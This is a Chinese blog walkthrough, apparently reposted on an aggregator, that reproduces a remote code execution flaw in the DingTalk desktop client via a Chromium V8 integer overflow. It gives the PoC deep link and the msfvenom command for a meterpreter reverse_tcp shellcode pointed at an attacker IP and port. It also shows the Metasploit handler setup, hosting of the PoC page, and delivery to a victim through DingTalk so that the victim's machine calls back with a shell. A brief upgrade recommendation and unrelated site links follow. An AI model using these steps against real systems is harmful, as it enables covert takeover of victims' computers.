当前位置: 首页 > news >正文

【漏洞复现】钉钉rce反弹shell

文章目录

  • 一、漏洞描述
  • 二、漏洞原理
  • 三、影响版本
  • 四、复现过程
    • 0.环境说明
    • 1.msf 生成shellcode
    • 2.msf开启监听
    • 3.将生成的shellcode替换原shellcode
    • 4.开启web服务,并上传poc文件,构造poc
    • 5.从钉钉发送poc给受害者
    • 6.受害者点击即会触发漏洞,在msf监听处上线。
  • 五、修复建议
    • 升级到最新版本


一、漏洞描述

钉钉具备获取查看web应用能力,且web站点通过http协议传输。基于payload可知,钉钉漏洞的利用就是通过HTTP协议进行访问构造的payload,从而达成远程RCE获取目标电脑权限。

钉钉6.3.5版本下载地址:
https://dtapp-pub.dingtalk.com/dingtalk-desktop/win_installer/Release/DingTalk_v6.3.5.11308701.exe

项目地址:https://github.com/crazy0x70/dingtalk-RCE
poc:dingtalk://dingtalkclient/page/link?url=http://your_ip/dingding.html&pc_slide=true

二、漏洞原理

利用了Chromium v8引擎整数溢出漏洞(是V8优化编译器Turbofan在SimplifiedLowering阶段产生的一个整数溢出漏洞),V8是Chromium内核中的JavaScript引擎,负责对JavaScript代码进行解释优化与执行。

三、影响版本

钉钉版本< 6.3.25-Release.2149108

四、复现过程

0.环境说明

攻击机:192.168.37.129(Kali Linux)
目标机:192.168.37.131(windows7)

1.msf 生成shellcode

msfvenom的命令行选项:

Options:
    -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
    -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
    -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
    -a, --arch       <architecture>  指定payload的目标架构
        --platform   <platform>      指定payload的目标平台
    -s, --space      <length>        设定有效攻击荷载的最大长度
    -b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;
    -i, --iterations <count>         指定payload的编码次数
    -c, --add-code   <path>          指定一个附加的win32 shellcode文件
    -x, --template   <path>          指定一个自定义的可执行文件作为模板
    -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
        --payload-options            列举payload的标准选项
    -o, --out   <path>               保存payload
    -v, --var-name <name>            指定一个自定义的变量,以确定输出格式
        --shellest                   最小化生成payload
    -h, --help                       查看帮助选项
        --help-formats               查看msf支持的输出格式列表
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=端口 -e x86/culprit -f csharp

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.37.129 LPORT=8834 -e x86/culprit -f csharp

image.png

2.msf开启监听

LHOST为攻击机IP,LPORT为刚才生成木马的端口

use exploit/multi/handler
set LHOST 192.168.37.129
set LPORT 8834
set payload windows/meterpreter/reverse_tcp
run

image.png
image.png

3.将生成的shellcode替换原shellcode

需要替换的位置为
var shellcode=new Uint8Array()
以后的部分

image.png

4.开启web服务,并上传poc文件,构造poc

python -m http.server 端口

image.png

5.从钉钉发送poc给受害者

image.png

6.受害者点击即会触发漏洞,在msf监听处上线。

image.png

五、修复建议

升级到最新版本

相关文章:

  • 算法训练 —— 哈希
  • 最近手头有点紧,于是用Python来冲一波股票...
  • 【力扣经典题目】环形链表,判断链表是否有环
  • PointNet++源码详解
  • mysql生产数据库被误删
  • 足球视频AI(四)——队伍与裁判人员分类
  • Qt扫盲-QHash理论总结
  • 力扣1700.无法吃午餐的学生数量
  • 用C++实现十大经典排序算法
  • Spring AOP统一功能处理
  • 《Django框架从入门到实战》目录
  • 【华为机试真题详解】信号强度【2022 Q4 | 200分】
  • 【Linux】顶级编辑器Vim的基本使用及配置
  • Servlet 综合案例(empProject)
  • JVM 如何获取当前容器的资源限制?
  • $translatePartialLoader加载失败及解决方式
  • android百种动画侧滑库、步骤视图、TextView效果、社交、搜房、K线图等源码
  • Consul Config 使用Git做版本控制的实现
  • Effective Java 笔记(一)
  • Go 语言编译器的 //go: 详解
  • JavaScript-Array类型
  • js算法-归并排序(merge_sort)
  • js中的正则表达式入门
  • Linux快速配置 VIM 实现语法高亮 补全 缩进等功能
  • vue-router 实现分析
  • vue学习系列(二)vue-cli
  • 关于extract.autodesk.io的一些说明
  • 目录与文件属性:编写ls
  • 盘点那些不知名却常用的 Git 操作
  • 网页视频流m3u8/ts视频下载
  • 微服务框架lagom
  • 责任链模式的两种实现
  • ​二进制运算符:(与运算)、|(或运算)、~(取反运算)、^(异或运算)、位移运算符​
  • ​软考-高级-信息系统项目管理师教程 第四版【第19章-配置与变更管理-思维导图】​
  • !!【OpenCV学习】计算两幅图像的重叠区域
  • #!/usr/bin/python与#!/usr/bin/env python的区别
  • #、%和$符号在OGNL表达式中经常出现
  • #define 用法
  • #前后端分离# 头条发布系统
  • #我与Java虚拟机的故事#连载09:面试大厂逃不过的JVM
  • (11)MSP430F5529 定时器B
  • (9)目标检测_SSD的原理
  • (八十八)VFL语言初步 - 实现布局
  • (定时器/计数器)中断系统(详解与使用)
  • (附源码)ssm考试题库管理系统 毕业设计 069043
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (六)c52学习之旅-独立按键
  • (算法)求1到1亿间的质数或素数
  • (推荐)叮当——中文语音对话机器人
  • (转)清华学霸演讲稿:永远不要说你已经尽力了
  • .Net 8.0 新的变化
  • .Net调用Java编写的WebServices返回值为Null的解决方法(SoapUI工具测试有返回值)
  • .NET开发不可不知、不可不用的辅助类(一)
  • .NET连接MongoDB数据库实例教程
  • //解决validator验证插件多个name相同只验证第一的问题